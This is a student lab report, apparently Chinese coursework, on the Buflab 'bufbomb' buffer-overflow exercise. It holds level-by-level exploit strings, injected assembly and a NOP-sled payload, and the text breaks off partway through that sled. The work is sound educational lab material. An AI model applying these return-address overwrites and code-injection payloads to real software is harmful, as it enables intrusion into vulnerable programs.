缓冲区溢出攻击实验_第1页
缓冲区溢出攻击实验_第2页
缓冲区溢出攻击实验_第3页
缓冲区溢出攻击实验_第4页
缓冲区溢出攻击实验_第5页
已阅读5页,还剩9页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、HUNAN UNIVERSITY课程实验报告题 目: Buflab-handout 学生姓名 学生学号 专业班级 计科1403 (一) 实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二) 实验准备1. 使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf #def

2、ine NORMAL_BUFFER_SIZE 32 int getbuf() char bufNORMAL_BUFFER_SIZE; Gets(buf); return 1; 这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。Makecookie是产生一个userid。输入的相应的用户名产生相应的cookie值。*我产生的cookie值为0x5eb52e1c,如下图所示:Level0:实验要求:从英文

3、的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directly related to this stage, but this will not cause a problem, since smoke causes the

4、program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test()int val;/ Put canary on stack to detect possible corruptionvolatile int local = uniqueval();val = getbuf();/ Check for corrupted stackif (local != uniqueval() printf(Sabotaged!: the stack

5、 has been corruptedn); else if (val = cookie) printf(Boom!: getbuf returned 0x%xn, val); validate(3); else printf(Dud: getbuf returned 0x%xn, val); smoke源码:void smoke()printf(Smoke!: You called smoke()n);validate(0);exit(0);对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp)传

6、给了Gets()。画出栈结构为(为绘制图简单,我们将相应的地址直接写在栈内部,如ebp-4写在方框中,实际上应当是这个地址指向这块内存区域,接下来的绘图都将采用这种方式):getbuf返回地址ebp的值ebp - 4ebp - 8ebp - cebp - 28ebp-38易知(ebp 28)距离getbuf函数的返回地址之间有44个字节,我们只需要在将getbuf返回地址的字修改为smoke函数的入口地址,这样我们就可以在执行完getbuf函数之后执行smoke函数。我们通过反汇编得到smoke函数的入口地址为0x08048e0a:我们构造文件a.txt,里面存放数据为(本人电脑为小端机,这里

7、需要的也是小端):31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 33 0b 8e 04 08之所以将0x08048e0a改成8e04080b,是因为0a对应的是换行符,会使该字符无法读入而结束Gets函数。运行结果为(输入命令为./hex2raw a.txt | ./bufbomb -u 201408010321):Level1:题意:从英文PDF文件中我们可以理解到,这关的目的是进入fi

8、zz函数,并通过makecookie计算出userid的cookie值,本人产生的cookie为0x5eb52e1c。FIZZ源码如下:void fizz(int val)if (val = cookie) printf(Fizz!: You called fizz(0x%x)n, val);validate(1); elseprintf(Misfire: You called fizz(0x%x)n, val);exit(0);解答:反汇编得到fizz函数的入口地址为0x08048daf:由fizz的汇编代码可得,push%ebp之后,%esp与%ebp指向同一个位置,而此时用%ebp+8表

9、 示 输入的 参数。而我们 由上面fizz函 数 的 代码可得,要使cookie值等于参数值。在调用fizz函数后,开辟一个新的栈,此时参数位置距离fizz函 数首地址还有一个空,需要用00000000来覆盖(覆盖数 据 随 便,只要不影响程序运行就可 以),将cookie值付给参数。除了要将这个值用相同的方式输入到getbuf函数中返回地址处外,还应将cookie值0x1005b2b7输入到在fizz函数中fizz函数返回地址的上一个4字节处即第一个参数处。getbuf函数输入时fizz函数的地址值和cookie值是不变的,(不能输入0a),共需要输入56(0x28+0x4+0x4+0x4+

10、0x4)个字节,其中前44个可以任意输入.getbuf返回地址处输入应为0x08048daf(小端法:af8d0408)fizz返回地址处可以随意,故输入00000000第1个参 数 处 为cookie值0x4169155f(小端法5f156941与level0类似,不过fizz需要传入一个参数。我们可以画出栈的结构图:参数valfizz的返回地址getbuf返回地址ebp的值ebp - 4ebp - 8ebp - cebp - 28ebp-38我们构造b.txt文件:31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 3132 3

11、2 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 3233 33 33 33 af 8d 04 08 00 00 00 00 1c 2e b5 5e其中0x5eb52e1c为id201408010321对应的cookie的值。运行结果为:Level2:题意:令getbuf调用后不执行test函数,而是执行bang函数(默认会执行test函数),但是同时我们要修改global_value的值为cookie值。然而,global_value是一个全局变量,它没有储存再栈里面。所以在程序执行过程中,只能通过赋值语句来改变global_value

12、的值。即这次我们不仅要让函数跳到bang中,而且要模拟一个函数调用来进行赋值。bang函数的源码为:int global_value = 0;void bang(int val)if (global_value = cookie) printf(Bang!: You set global_value to 0x%xn, global_value);validate(2); elseprintf(Misfire: global_value = 0x%xn, global_value);exit(0);解答:首先我们反汇编bang函数:从中我们可以得知value存放在0x804d10c,而cook

13、ie存放在0x804d104处。写出代码:movl $0x5eb52e1c,%eax /将cookie值存入eax寄存器movl %eax,0x804d10c /将eax中的(cookie)值存入global_value的地址pushl $0x08048d52 /将bang作为返回地址压栈ret /通过ret调用改变eip转到bang函数中我们使用objdump将上面代码转化成二进制。用objdump将.S(汇编)文件转化为.o(二进制)文件,然后显示出来。我们可以构造栈结构图:Buf首地址ebp的值ebp - 4ebp - 8ebp - cebp - 28ebp - 38将getbuf的返回

14、地址改成buf的首地址运行,这样当在getbuf中调用ret返回时程序会跳转到buf处上面的构造的恶意函数(指令),再通过恶意函数中的ret指令跳转原栈中bang的入口地址,再进入bang函数中执行。我们得到buf的首地址为0x55683968:构造文件3.txt:b8 1c 2e b5 5ea3 0c d1 04 0868 52 8d 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0068 39 68 55运行结果为:Level3:题意:这次要求getbuf调用后,返

15、回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时要让test函数调用getbuf后的返回值(val)为自己的cookie。解答:采用类似level2中的解法,利用恶意代码去修改变量val的值。然后改变程序的执行情况。反汇编得到指向test中的getbuf调用后一条指令我们填写汇编代码:movl $0x5eb52e1c,%eax /返回cookie值pushl $0x08048e50 /返回地址指向test中的getbuf调用后一条指令ret /返回test继续执行反汇编上述代码:由于我们在覆盖getbuf返回地址时会覆盖保存的ebp寄存器的值,通

16、过gdb得到保存的ebp寄存器指向的值并结合上一题的解题思路:构造文件4.txt:b8 1c 2e b5 5e68 50 8e 04 08c300 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00C0 39 68 5568 39 68 55运行结果为:Level4:题意:最后一关的要求和上一关一致,不过需要加上-n参数运行bufbomb,此时会进入testn和getbufn函数而不是test和getbuf函数。这个函数与getbuf所不同的是,分配了512字节的字符数组,而调用ge

17、tbufn的函数会在栈中随机分配一段存储区,这导致getbufn使用的栈基址EBP随机变化。此外,在Nitro模式运行时,bufbomb会要求提供5次输入字符串,每一次都要求getbufn的返回值为实验者的cookie。Level4的其他要求与Level3相同,但它要求提供同一个恶意代码,在getbufn被调用5次后,最终仍返回到testn函数中,且不能破坏testn的堆栈状态,并使返回值为cookie。由于栈上的机器代码是按地址由低向高顺序执行,要保证五次运行都能顺利执行有效机器代码,需要满足:跳转地址位于有效机器代码入口地址之前的nop机器指令填充区。这要求尽可能增大nop填充区,尽可能使

18、有效机器代码段往后挪。反汇编getbuf和getbufn:发现在调用getbuf时,ebp的内容比esp内容大0x28,而在getbufn中大0x218。由于,我们这里要调用五次getbufn,所以我们要让前四次getbufn调用完后,继续调用getbufn。反汇编testn函数(getbufn调用前): 调用完getbufn后返回到0x08048ce2所以,可以通过下面的恶意代码完成上述工作:lea 0x28(%esp),%ebp /恢复ebp寄存器内容movl $0x5eb52e1c,%eax /返回cookie值pushl $0x8048ce2/返回地址指向testn中的getbufn调

19、用后一条指令ret /返回testn继续执行现在恶意代码已经构造完毕了,就只要再找到buf首地址就可以了。(这个函数中buf首地址不固定)由于getbufn函数栈的EBP不固定,每一次buf都不相同,我们先进行采样,观察其变化规律。五次取样之后的数据分别为0x55683788、0x55683758、0x556837d8、0x55683748、0x556837b8。发现之后不管怎么运行都是这5个数据。考虑将最高的buf地址0x556837d8作为跳转地址,将有效机器代码置于跳转地址之前,并将其它所有字符都用作nop指令,此时所有五个buf地址的写入都能满足跳转到地址0x556837d8后顺利到达

20、有效机器代码。构造文件5.txt:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

21、 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9

22、0 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论